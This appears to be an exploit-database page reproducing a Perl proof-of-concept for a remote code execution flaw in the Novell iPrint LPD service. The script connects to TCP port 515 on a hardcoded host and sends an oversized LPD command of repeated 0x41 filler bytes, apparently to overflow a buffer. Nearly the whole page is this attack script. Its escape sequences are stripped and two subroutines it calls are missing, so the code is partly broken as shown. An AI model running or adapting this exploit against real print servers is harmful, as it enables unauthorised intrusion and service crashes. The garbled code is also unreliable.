[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Novell Iprint LPD Remote Code Execution Vulnerability
# Published : 2011-02-18
# Author : Francis Provencher
# Previous Title : Novell ZenWorks 10 & 11 TFTPD Remote Code Execution Vulnerability
# Next Title : PHP 5.3.5 grapheme_extract() NULL Pointer Dereference
#!/usr/bin/perl
## Source:
## http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=21&Itemid=21
use Getopt::Std;
use IO::Socket::INET;
$SIG{INT} = &abort;
my $host = '10.102.3.79';
my $port = 515;
my $proto = 'tcp';
my $sockType = SOCK_STREAM;
my $timeout = 1;
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", %opt );
if (defined $opt{h}) {
usage()
}
my @commands = (
{Command => 'Send',
Data => "x01x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x44x43x42x41x0a"},
);
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!nn";
print "connected to: $host:$portn";
$sock->autoflush(1);
binmode $sock;
foreach my $command (@commands)
{
if ($command->{'Command'} eq 'Receive')
{
my $buf = receive($sock, $timeout);
if (length $buf)
{
print "received: [$buf]n";
}
}
elsif ($command->{'Command'} eq 'Send')
{
print "sending: [".$command->{'Data'}."]n";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!n";
}
}
close ($sock);